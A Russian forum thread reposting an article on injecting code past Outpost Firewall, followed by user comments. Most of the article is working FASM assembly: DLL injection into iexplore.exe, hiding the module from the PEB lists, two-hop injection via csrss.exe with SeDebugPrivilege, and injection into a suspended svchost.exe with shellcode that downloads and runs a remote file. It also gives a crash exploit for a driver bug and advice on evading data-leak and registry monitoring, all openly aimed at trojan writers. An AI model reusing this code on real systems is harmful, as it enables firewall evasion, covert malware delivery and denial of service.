Показано с 1 по 11 из 11.

Инжект как метод обхода фаерволлов, жив или мертв?

  1. #1
    celeron
    Guest

    Инжект как метод обхода фаерволлов, жив или мертв?

    Автор: Ms-Rem
    Источник: http://www.wasm.ru/article.php?article=fwb

    -----------------------------------------------------

    Инжект как метод обхода фаерволлов, жив или мертв?
    Часть 1, OutpostFirewall.

    Наверника многие из вас помнят те времена, когда персональные фаерволлы только появились, и настал черный день для троянописателей. Этот день стал концом для большинства, но не для всех. Вскоре было найдено простое и изьящное решение, суть которого состоит в том, чтобы работать из разрешенного фаерволлом процесса. Решение было простым и не требовало много кода, и заключалось оно в записи и исполнении своего кода в чужой процесс (обычно в процесс InternetExplorer).

    Но разработчики фаерволлов ушами не хлопали, и стали отлавливать действия по записи памяти другого процесса. Некоторые перехватывали ZwOpenProcess, некоторые ZwWriteVirtualMemory, некоторые ZwCreateThread. Считается, что с этого момента инжект как метод обхода фаерволлов перестал существовать, так как уже недостаточно было сделать OpenProcess/WriteProcessMemory/CreateRemoteThread. Троянописатели конечно не сидели на есте и придумывали новые способы для отправки данных мимо фаерволла, но по своим возможностям они не могли сравниться с инжектом. Чего только не было придумано, начиная с запуска скрытого окна InternetExplorer и имитации действий пользователя по отправке данных, и заканчивая довольно извратным способом DNS тунелинга, который требовал наличия подконтрольного DNS сервера. Казалось бы инжект остался в прошлом, так как его научились контролировать почти все фаерволлы (за исключением полного отстоя вроде Kaspersky Anty Hacker или бесплатного tdifw), но если детально рассмотреть алгоритмы работы защиты от инжекта, то можно прийти к выводу, что хоронить этот метод еще очень рано, потому что не существует ни одного фаерволла способного перекрыть все пути к инжекту. В этой статья я хочу рассмотреть несколько распостраненных персональных фаерволлов, проанализировать алгоритм работы их защиты от инжекта и рассмотреть некоторые методы ее обхода. Естественно, набор существующих методов не ограничивается приведенными в этой статье, и каждый обладающий воображением сможет найти свой оригинальный метод инжекта. Все примеры в статье написаны на Fasm 1.64, так как он лучше всего подходит для реализации описаных методик. Итак, приступим к делу.

    Outpost Firewall, или пример простой защиты.

    Итак, первым рассмотрим Outpost Firewall Pro ver.3.0.543.5722. Этот фаерволл я выбрал из за его популярности и простоты реализованной в нем защиты. Outpost отслеживает инжектинг путем перехвата ZwWriteVirtualMemory в SDT ntoskrnl, и блокирует сетевой доступ для процесса память которого была изменена.

    Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Что можно сделать с помощью 16 байт? Самое первое что приходит в голову - это инжектинг dll. Имеющиеся 16 байт используем для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на наш буфер. Для начала найдем процесс в который будем производить инжект:

    FindProcess:
    push ebp
    mov ebp, esp
    sub esp, 13Ch
    push esi
    mov dword [ebp-13Ch], 128h
    invoke CreateToolhelp32Snapshot, 2, 0
    mov esi, eax
    cmp eax, -1
    jz @F
    lea eax, [ebp-13Ch]
    invoke Process32First, esi, eax
    test eax, eax
    jz @F
    bb:
    lea eax, [ebp-118h]
    invoke lstrcmpi, eax, ProcessName
    test eax, eax
    jz pFound
    lea eax, [ebp-13Ch]
    invoke Process32Next, esi, eax
    test eax, eax
    jz @F
    jmp bb
    @@:
    pop esi
    leave
    ret
    pFound:
    mov eax, [ebp-308]
    jmp @B

    Теперь можно выделить память, записать имя dll и вызвать CreateRemoteThread:

    ProcessName db 'iexplore.exe', 0
    DllName db 'fwbdll.dll', 0
    NameSize = $-DllName

    entry $
    call FindProcess
    test eax, eax
    jz @F
    invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
    test eax, eax
    jz @F
    mov esi, eax
    invoke VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE
    test eax, eax
    jz @F
    mov edi, eax
    invoke WriteProcessMemory, esi, edi, DllName, NameSize, 0
    test eax, eax
    jz @F
    invoke CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0
    invoke CloseHandle, esi
    @@:
    ret

    Содержимое dll для демонстрации примера будет весьма безобидное, просто показывается MessageBox с сообщением, но ничего не мешает сделать там отправку паролей с машины, или загрузку и запуск файла.

    format PE GUI 4.0 DLL

    include '%fasminc%\win32a.inc'

    text db 'Fuck you, world!', 0
    caption db 'Dll inject', 0

    entry $
    cmp dword [esp+8], DLL_PROCESS_ATTACH
    jnz @F
    invoke MessageBox, 0, text, caption, 0
    @@:
    mov eax, 1
    retn 0Ch


    section '.idata' import data readable
    library user32, 'user32.dll'

    include '%fasminc%\apia\user32.inc'

    section '.reloc' fixups data discardable
    Контроль компонентов.

    Все было бы хорошо (живи да радуйся), если бы не контроль компонентов. Outpost, как и большинство других фаерволлов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей ) либо при изменении контрольной суммы старых) начинает грязно ругаться, а это может вызвать у юзера подозрения. Следовательно следующим шагом станет обход контроля компонентов.

    Если немного пораскинуть мозгами (по асфальту , то легко прийти к выводу, что раз оутпост получает список загруженных dll, значит этот список где-то храниться, а если он где-то есть, то его можно найти и исправить так, чтобы скрыть присутствие нашей dll. Список загруженных модулей процесса хранится в его PEB. Опишем для начала структуру PEB (не всю, а только нужную нам часть):

    struct PEB
    InheritedAddressSpace db ?
    ReadImageFileExecOptions db ?
    BeingDebugged db ?
    Spare db ?
    Mutant dd ?
    ImageBaseAddress dd ?
    LoaderData dd ?
    ProcessParameters dd ?
    SubSystemData dd ?
    ProcessHeap dd ?
    FastPebLock dd ?
    FastPebLockRoutine dd ?
    FastPebUnlockRoutine dd ?
    EnvironmentUpdateCount dd ?
    KernelCallbackTable dd ?
    SystemReserved dd ?
    AtlThunkSListPtr32 dd ?
    ends

    В этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:

    struct LDR_MODULE
    InLoadOrderModuleList LIST_ENTRY ?
    InMemoryOrderModuleList LIST_ENTRY ?
    InInitializationOrderModuleList LIST_ENTRY ?
    BaseAddress dd ?
    EntryPoint dd ?
    SizeOfImage dd ?
    FullDllName UNICODE_STRING ?
    BaseDllName UNICODE_STRING ?
    Flags dd ?
    LoadCount dw ?
    TlsIndex dw ?
    HashTableEntry LIST_ENTRY ?
    TimeDateStamp dd ?
    ends

    Как вы видите, здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Нам нужно пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля со своим hInstance найти свой модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код нашей безобидной dll принимает следующий вид:

    format PE GUI 4.0 DLL

    include '%fasminc%\win32a.inc'
    include 'structs.inc'

    text db 'Fuck you, world!', 0
    caption db 'Dll inject', 0

    HideFromPeb: ; hInstance
    push esi
    push ebx
    mov esi, [esp+0Ch]
    mov eax, [fs:30h]
    mov eax, [eax+PEB.LoaderData]
    add eax, PEB_LDR_DATA.InLoadOrderModuleList
    @@:
    mov eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink]
    cmp esi, [eax+LDR_MODULE.BaseAddress]
    jnz @B
    mov esi, [eax+LIST_ENTRY.Flink]
    mov ebx, [eax+LIST_ENTRY.Blink]
    mov [ebx+LIST_ENTRY.Flink], esi
    mov esi, [eax+LIST_ENTRY.Blink]
    mov ebx, [eax+LIST_ENTRY.Flink]
    mov [ebx+LIST_ENTRY.Blink], esi
    lea eax, [eax+LDR_MODULE.InMemoryOrderModuleList]
    mov esi, [eax+LIST_ENTRY.Flink]
    mov ebx, [eax+LIST_ENTRY.Blink]
    mov [ebx+LIST_ENTRY.Flink], esi
    mov esi, [eax+LIST_ENTRY.Blink]
    mov ebx, [eax+LIST_ENTRY.Flink]
    mov [ebx+LIST_ENTRY.Blink], esi
    pop ebx
    pop esi
    ret

    entry $
    cmp dword [esp+8], DLL_PROCESS_ATTACH
    jnz @F
    push dword [esp+4]
    call HideFromPeb
    invoke MessageBox, 0, text, caption, 0
    @@:
    mov eax, 1
    retn 0Ch


    section '.idata' import data readable
    library user32, 'user32.dll'

    include '%fasminc%\apia\user32.inc'

    section '.reloc' fixups data discardable

    Все, теперь оутпост не замечает как процесс инжектинга, так и наличие нашей dll и можно спокойно отсылать пароли и качать трояны пачками

    Инжектим чистый код.

    Инжектинг dll, это конечно просто в реализации, но такой метод мне кажется "грязным", так как требует наличия лишнего файла на диске. Гораздо лучше бы было проинжектить только код производящий нужные нам действия. В 16 байт при всем желании не удастся втиснуть код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из нашего процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл своего процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде, но не все так плохо. На самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:

    push 0
    push InjectSize
    push esi
    push InjectCode
    push edi
    call ebx

    Мы создадим с помощью CreateRemoteThread поток в приостановленом состоянии (с флагом CREATE_SUSPENDED), а затем использую GetThreadContext/SetThreadContext заполним регистры нужными нам параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:

    LoaderCode:
    push 0
    push InjectSize
    push esi
    push InjectCode
    push edi
    call ebx
    LoaderSize = $-LoaderCode

    InjectCode:
    call $+5
    pop esi
    sub esi, $-InjectCode-1
    push 0
    lea eax, [esi+caption-InjectCode]
    push eax
    lea eax, [esi+text-InjectCode]
    push eax
    push 0
    call [esi+p_MessageBox-InjectCode]
    retn 4

    p_MessageBox dd 0
    text db 'Fuck you, world!', 0
    caption db 'Code inject', 0
    InjectSize = $-InjectCode


    ProcessName db 'iexplore.exe', 0
    align 4
    context CONTEXT 0

    entry $
    push ebp
    mov ebp, esp
    sub esp, 8
    mov eax, [MessageBox]
    mov [p_MessageBox], eax
    call FindProcess
    test eax, eax
    jz @F
    invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
    test eax, eax
    jz @F
    mov [ebp-4], eax
    invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
    test eax, eax
    jz @F
    mov edi, eax
    invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0
    lea eax, [ebp-8]
    invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS
    invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0
    mov esi, eax
    mov [context.ContextFlags], CONTEXT_FULL
    invoke GetThreadContext, esi, context
    lea eax, [edi+LoaderSize]
    mov [context.regEsi], eax
    push dword [ebp-8]
    pop [context.regEdi]
    push [ReadProcessMemory]
    pop [context.regEbx]
    invoke SetThreadContext, esi, context
    invoke ResumeThread, esi
    invoke CloseHandle, esi
    invoke CloseHandle, [ebp-4]
    invoke Sleep, 100
    @@:
    leave
    ret

    Инжект в два прыжка.

    Итак, если вы думаете что на этом заканчиваются возможности для инжекта, то ошибаетесь. Если вникнуть в некоторые аспекты работы системы, то можно придумать еще несколько способов инжекта. Если вы читали мою статью "Современные технологии дампинга и защиты от него", то несомненно знаете, что в процессе работы системы, процесс csrss.exe (сервер подсистемы win32) производит запись в память GUI процессов. Из этого следует вывод, что во избежании ложных срабатываний фаерволлы не могут контролировать инжекты со стороны этого процесса. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss нам сначала нужно включить Debug привилегию, это делает следующий код:

    PrivName db 'SeDebugPrivilege', 0

    EnableDebugPrivilege:
    push ebp
    mov ebp, esp
    sub esp, 24h
    invoke OpenProcessToken, -1, 28h, esp
    test eax, eax
    jz @F
    lea eax, [esp+8]
    invoke LookupPrivilegeValue, 0, PrivName, eax
    test eax, eax
    jz @F
    mov dword [esp+14h], 1
    mov eax, [esp+8]
    mov [esp+18h], eax
    mov eax, [esp+0Ch]
    mov [esp+1Ch], eax
    mov dword [esp+20h], 2
    lea eax, [esp+10h]
    push eax
    lea eax, [esp+18h]
    push eax
    push 10h
    lea eax, [esp+20h]
    push eax
    push 0
    mov eax, [esp+14h]
    push eax
    call [AdjustTokenPrivileges]
    @@:
    leave
    ret

    Для упрощения работы, сделаем таблицу адресов нужных нам API внутри инжект кода, и составим макросы для эх простого вызова:

    macro callx i {call dword [ebp+p_#i-CodeStart]}

    macro invokex proc,[arg]
    { common
    if ~ arg eq
    reverse
    pushd arg
    common
    end if
    callx proc }

    Теперь можно писать собственно сам инжект код. Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:

    CodeStart:
    call $+5
    pop ebp
    sub ebp, $-CodeStart-1
    mov esi, [esp+4]
    test esi, esi
    jz mbox
    invokex OpenProcess, PROCESS_ALL_ACCESS, 0, esi
    test eax, eax
    jz @F
    mov esi, eax
    invokex VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
    test eax, eax
    jz @F
    mov edi, eax
    push [ebp+InjParam-CodeStart]
    mov [ebp+InjParam-CodeStart], 0
    invokex WriteProcessMemory, esi, edi, ebp, CodeSize, 0
    pop eax
    invokex CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0
    invokex CloseHandle, esi
    jmp @F
    mbox:
    lea eax, [ebp+caption-CodeStart]
    lea ebx, [ebp+text-CodeStart]
    invokex MessageBox, 0, ebx, eax, 0
    @@:
    retn 4

    text db 'Fuck you, world!', 0
    caption db 'TwoJump inject', 0

    p_OpenProcess dd 0
    p_VirtualAllocEx dd 0
    p_WriteProcessMemory dd 0
    p_CreateRemoteThread dd 0
    p_CloseHandle dd 0
    p_MessageBox dd 0
    InjParam dd 0

    CodeSize = $-CodeStart

    Заполнение адресов в таблице API, определение PID нужных нам процессов и вызов этого кода теперь выглядит очень просто:

    ProcessName dd 0
    fProc db 'csrss.exe', 0
    sProc db 'iexplore.exe', 0

    entry $
    call EnableDebugPrivilege
    mov eax, [OpenProcess]
    mov [p_OpenProcess], eax
    mov eax, [WriteProcessMemory]
    mov [p_WriteProcessMemory], eax
    mov eax, [CreateRemoteThread]
    mov [p_CreateRemoteThread], eax
    mov eax, [VirtualAllocEx]
    mov [p_VirtualAllocEx], eax
    mov eax, [CloseHandle]
    mov [p_CloseHandle], eax
    mov eax, [MessageBox]
    mov [p_MessageBox], eax
    mov [ProcessName], sProc
    call FindProcess
    test eax, eax
    jz @F
    mov [InjParam], eax
    mov [ProcessName], fProc
    call FindProcess
    test eax, eax
    jz @F
    push eax
    call CodeStart
    @@:
    ret

    Баги в Outpost.

    Дизассемблируя драйвер оутпоста (FILTNT.sys) я натолкнулся на две интересные особенности в обработчике перехвата ZwWriteVirtualMemory. Из этого обработчика вызывается функция с адресом 0x00017B90, которая делает запрос службе оутпоста на проверку возможности записи памяти процесса. В этой функции также есть ряд других проверок, одна из которых осуществляется следующим кодом:

    .text:00017C48 xor eax, eax
    .text:00017C4A mov ecx, [ebp+var_4]
    .text:00017C4D mov al, [ecx+879h]
    .text:00017C53 cmp eax, 3
    .text:00017C56 jz loc_17E28
    .text:00017C5C cmp eax, 6
    .text:00017C5F jz loc_17E28
    .text:00017C65 cmp eax, 1
    .text:00017C68 jz loc_17E28
    .text:00017C6E mov cl, [ebx+879h]
    .text:00017C74 cmp cl, 4
    .text:00017C77 jnz short loc_17CA0
    .text:00017C79 mov ecx, [ebp+arg_8]
    .text:00017C7C cmp ecx, 4
    .text:00017C7F jnz short loc_17CA0
    .text:00017C81 lea esi, [esi+0Eh]
    .text:00017C84 mov edi, offset aSvchost_exe ; "SVCHOST.EXE"
    .text:00017C89 mov ecx, 18h
    .text:00017C8E repe cmpsb
    .text:00017C90 jnz short loc_17CA0
    .text:00017C92 mov eax, 1
    .text:00017C97 pop edi
    .text:00017C98 pop esi
    .text:00017C99 pop ebx
    .text:00017C9A mov esp, ebp
    .text:00017C9C pop ebp
    .text:00017C9D retn 10h

    Как вы уже наверно поняли, всем процессам с именем svchost.exe разрешается запись в память других процессов во избежание ложных срабатываний защиты. Поэтому можно использовать даже старые методы инжекта, нужно просто обозвать трояна svchost.exe и оутпост все разрешит! Это конечно можно считать не багом, а фичей, но мне кажется, что разработчики могли бы поответственнее отнестись к реализации такой проверки, хотя бы проверять полный путь к исполнимому файлу, а не только имя процесса.

    Дальнейшее изучение драйвера оутпоста позволило мне найти еще один баг в нем, видимо в целях отладки программисты писавшие оутпост сделали в драйвере вывод отладочных сообщений (точнее сообщения драйвер выводит не сам, а передает их службе), и в числе прочих сообщений там имеется дамп содержимого инжектируемого куска памяти. Формирование строки с дампом производится следующим кодом:

    .text:00017D88 xor ebx, ebx
    .text:00017D8A test edi, edi
    .text:00017D8C jle short loc_17DB3
    .text:00017D8E lea esi, [ebp-0B0h]
    .text:00017D94
    .text:00017D94 loc_17D94: ; CODE XREF: sub_17B90+221.j
    .text:00017D94 xor eax, eax
    .text:00017D96 mov ecx, [ebp+14h]
    .text:00017D99 mov al, [ecx+ebx]
    .text:00017D9C inc ebx
    .text:00017D9D push eax
    .text:00017D9E push offset a02x ; "%02X "
    .text:00017DA3 push esi
    .text:00017DA4 add esi, 3
    .text:00017DA7 call sprintf
    .text:00017DAC add esp, 0Ch
    .text:00017DAF cmp ebx, edi
    .text:00017DB1 jl short loc_17D94

    Начальный адрес дампимого куска памяти находиться в локальной переменной [ebp+14h], куда он помещается из аргумента ZwWriteVirtualMemory. Как вы видите, в строке mov al, [ecx+ebx] происходит обращение к памяти в юзермодном буфере без проверки ее там присутствия, а следовательно достаточно передать невалидный адрес и система упадет в синий экран. Этот баг уже является уязвимостью в безопасности, так как для того чтобы уронить систему не требуются права администратора. А вот и эксплоит на эту уязвимость:

    ProcessName db 'explorer.exe', 0

    entry $
    call FindProcess
    test eax, eax
    jz @F
    invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
    test eax, eax
    jz @F
    mov esi, eax
    invoke VirtualAllocEx, esi, 0, 10, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
    test eax, eax
    jz @F
    mov edi, eax
    invoke WriteProcessMemory, esi, edi, 0, 10, 0
    @@:
    ret

    Для срабатывания эксплоита необходимо наличие в настройках фаерволла любого правила для explorer.exe, но его можно заменить любым процессом. Наличие уязвимости подтверждено в Outpost Firewall Pro ver. 3.0.543.5722 и Outpost Firewall Pro ver. 2.7.485.5401, но я предполагаю что эта дыра есть и в более ранних версиях.

    Инжект в запускаемый процесс.

    Итак, мы рассмотрели несколько способов инжекта в уже запущенный процесс, но главным недостатком этих способов является то, что они построены на особенностях конкретного фаерволла, и врядли будут работать на чем-либо кроме оутпоста. Для практического использования очень желательно иметь универсальный метод, работающий против всех фаерволлов. Для того, чтобы найти такой способ, давайте подробно рассмотрим как происходит запуск нового процесса. Запуск процесса состоит из следующих стадий:

    1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем будем считать, что запускается обычный win32 PE файл.
    2) Производиться открытие исполнимого файла с помощью ZwOpenFile.
    3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.
    4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.
    5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.
    6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.
    7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.
    Производиться заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.
    9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.
    10) С помощью ZwCreateThread создается первичный поток.
    11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.
    12) Первичный поток запускается на исполнение с помощью ZwResumeThread.


    Обратите внимание, что на этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому фаерволлы включают контроль инжектов позднее. На основании этого факта можно построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства фаерволлов.

    С этого момента, для проверки работоспособности инжекта, мы будем пользоваться маленьким базонезависимым шелкодом, который скачивает файл по линку http://ms-rem.dot-link.net/file.exe и запускает его. Файл этот содержит просто MessageBox.

    С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:

    format PE GUI 4.0

    include '%fasminc%\win32a.inc'

    section '.code' code readable writeable executable

    stri STARTUPINFO ?
    prci PROCESS_INFORMATION ?
    szSvchost db 'svchost.exe', 0
    injcode file 'code.bin'
    codesize = $-injcode
    oldp dd 0

    entry $
    mov [stri.cb], sizeof.STARTUPINFO
    invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci
    test eax, eax
    jz @F
    invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES
    test eax, eax
    jz @F
    add eax, [eax+3Ch]
    mov edi, [eax+28h]
    add edi, [eax+34h]
    invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp
    invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0
    invoke ResumeThread, [prci.hThread]
    @@:
    ret

    section '.idata' import data readable writeable

    library kernel32, 'kernel32.dll'
    include '%fasminc%\apia\kernel32.inc'

    Вышеописанный способ с небольшими изменениями (о них далее) можно применять с многими другими распространенными фаерволлами.

    Другие методы защиты оутпоста.

    Ну и, осталось рассказать про еще несколько методов защиты применяемых оутпостом. Они врядли могут создать какие-либо проблемы, но все же иногда их следует принимать во внимание.

    При использовании инжекта в запускаемый процесс, внимание следует обратить на так называемый "контроль скрытых процессов". На самом деле под скрытым процессом оутпост понимает процесс, который не имеет окна или имеет скрытое окно. При создании правила для приложения, оутпост запоминает факт наличия у него видимого окна, и будет далее проверять его наличие при первом запросе сетевого доступа процессом. В случае с вышеприведенным примером использующим инжект в svchost.exe, это не вызовет никаких проблем, но в случае использования данного метода например с iexplore.exe, оутпост выдаст предупреждение. Сделать обход такой проверки весьма нетрудно, для этого нужно просто создать видимое окно и показать его за экраном (например в координатах -10000, -10000). Можно также использовать другие приемы (такие как 100% прозрачность окна, и т.д.). Приводить код обходящий эту защиту я сейчас не буду, его вы можете найти среди примеров к этой серии статей.

    В версиях оутпоста 3.0 и выше, появился новый AntySpyware плугин. Он совмещает в себе три метода защиты. Первый - это сигнатурный скан файлов (вроде антивируса). Я думаю, все вы давно знаете как с подобными вещами бороться (т.к. антивирусы это первейшая проблема возникающая при написании троянов). Второй метод - это сканирование исходящих пакетов на сигнатуры передаваемых приватных данных (номеров кредитных карт, паролей и.т.п.), параметры этой проверки можно установить в настройках плугина. Обойти это проверку очень просто, достаточно просто шифровать передаваемые данные (хотя-бы примитивным ксором). Третья защита этого плугина имхо может создавать проблемы при установке трояна. Она мониторит определенные ключи реестра на предмет их изменения (прописывания в автозагрузку). Список этих ключей можно найти в настройках плугина. Для того чтобы избавиться от этой напасти есть два способа, первый - это пользоваться ключом реестра который оутпост не контролирует, второй - перехватывать в процессе оутпоста функции ZwEnumerateKey/ZwQueryValueKey и маскировать свои изменения. Имхо следует выбирать второй способ ввиду его универсальности.

    Заключение.

    И так, все защиты оутпоста рассмотрены и побеждены, и теперь хотелось бы сделать выводы из вышеприведенного материала и моих впечатлений от использования этого фаерволла. Оутпост очень удобен в использовании, содержит средства помогающие при отладке сетевых приложений (монитор соединений), имеет полезные фичи вроде вырезки рекламы и кеширования DNS запросов. Он обеспечивает хорошую защиту от внешних атак (ремоутных эксплоитов) и имеет гибкие легконастраиваемые правила, но защиту от троянов совершенно не обеспечивает (это самый простой для обхода фаерволл в этом обзоре).

    З.Ы. не торопитесь применять вышеописанное к другим фаерволлам, так как многое здесь касается только оутпоста. Про другие фаерволлы читайте в следующих статьях серии.

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для SDA
    Регистрация
    07.01.2005
    Адрес
    Москва
    Сообщений
    7,168
    Вес репутации
    3166
    Старая статья, на сегодня не актуальна.

  4. #3
    celeron
    Guest
    Не такая уж и старая, всего лишь апрельская. Про новые методы никто писать и не будет.

  5. #4
    Full Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    21.06.2005
    Адрес
    Orenburg
    Сообщений
    128
    Вес репутации
    53
    celeron Ну почему не будут вот из свеженького 2.08.06
    [C] MaD
    Обход Outpost Firewall 3.x и 4.0 в Kernel mode
    http://wasm.ru/article.php?article=outpostk
    А тут коммент от Ms Rem, автора первой статьи
    http://wasm.ru/comment.php?artcode=outpostk
    Последний раз редактировалось IgorA; 03.08.2006 в 15:24.
    IgorA

  6. #5
    Visiting Helper Репутация
    Регистрация
    03.10.2004
    Сообщений
    699
    Вес репутации
    53
    Задница настала...причем ПОЛНАЯ!
    У меня даже слов нету Ж) Это апокалипсис...
    Там изменить 4 байта и будет обход ЛЮБОГО файровала!
    Зря они в паблик это выложили
    Всего один дурной бит - и гигабайты лежат в маразме.
    Скажи мне свою OS и я скажу тебе КТО ты.

  7. #6
    Full Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    21.06.2005
    Адрес
    Orenburg
    Сообщений
    128
    Вес репутации
    53
    Sanja Драйвер еще подсунуть на машину надо, хотя если судить по разделу Помогите ! это не такая большая проблема
    IgorA

  8. #7
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для SDA
    Регистрация
    07.01.2005
    Адрес
    Москва
    Сообщений
    7,168
    Вес репутации
    3166
    "Кому она адресована? Очередной куче ламерья-кулхацкеров, которые тут же начнут кричать на всех форумах (уже начали, кстати!), какой "дырявый", оказывается, Аутпост, или же побегут вставлять куски опубликованного Ms-Rem-ом кода в свои бездарные поделки? Ведь любому специалисту (и команде Аутпоста) все это было известно еще с незапамятных времен - и даже много больше! И только ленивый еще не написал о том, как обойти Аутпост всяческими способами - и нате вам, статья от уважаемого мной Ms-Rem-а с очередным "изобретением велосипеда" по двадцатому разу! Да уж... Похоже, что в очередной своей статье Ms-Rem порадует нас тем, что смог обойти инжектом Microsoft Firewall...
    комментарии aintrust http://www.wasm.ru/comment.php?artcode=fwb

  9. #8
    Expert Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.12.2004
    Сообщений
    927
    Вес репутации
    419
    2 Sanja. Сорри, это не задница, это реальность, которая была известна задолго до опубликования статьи- с уровня драйвера можно обойти ЛЮБОЙ файер.

    2 SDA. Видишь ли, то, что в Агнитуме что-то знают (или что-то не знают)- зловредописателей это не колышет, они работают с конкретными файерами на их обход. И делают это вполне успешно. Я намекал Михаилу Пеньковскому на то, что их "защита" не более чем голимая поделка, а в ответ услышал лишь маркетологический бред типа "а вот сейчас выйдет 4.0".
    http://www.softsphere.com - DefenseWall, DefencePlus

  10. #9
    Visiting Helper Репутация
    Регистрация
    03.10.2004
    Сообщений
    699
    Вес репутации
    53
    Она была известна избранным (мне в том числе)
    Сейчас она стала известна всем. И задница настала т.к теперь скрипт-киддесы будут заниматся копи-пейстенгом ж)

    Вспомним тогоде sd(rx)bota в который воткнули FU и началось...

    Оутпост 4.0 это действительго голимая подделка Ж) Юзер-Мод хуки + нет защиты от установки драйвера Ж)
    Всего один дурной бит - и гигабайты лежат в маразме.
    Скажи мне свою OS и я скажу тебе КТО ты.

  11. #10
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для SDA
    Регистрация
    07.01.2005
    Адрес
    Москва
    Сообщений
    7,168
    Вес репутации
    3166
    Кстати, я так понимаю с ZA такие штуки не проходят, я имею ввиду с уровня драйвера(фаервол ОС).

  12. #11
    Visiting Helper Репутация
    Регистрация
    03.10.2004
    Сообщений
    699
    Вес репутации
    53
    Да и с ЗА проходит Ж)
    Просто методы знать надо Ж)
    Всего один дурной бит - и гигабайты лежат в маразме.
    Скажи мне свою OS и я скажу тебе КТО ты.

Похожие темы

  1. вирус скорее мертв, чем жив?
    От Фяг в разделе Помогите!
    Ответов: 5
    Последнее сообщение: 12.02.2010, 20:18
  2. Методы обхода UAC
    От XP user в разделе Оффтоп
    Ответов: 25
    Последнее сообщение: 22.06.2009, 14:58
  3. Ответов: 1
    Последнее сообщение: 31.01.2008, 19:12
  4. Ответов: 8
    Последнее сообщение: 04.04.2007, 20:32
  5. Новый метод обхода фильтров?
    От kuznetz в разделе Антиспам
    Ответов: 9
    Последнее сообщение: 04.03.2007, 02:40

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
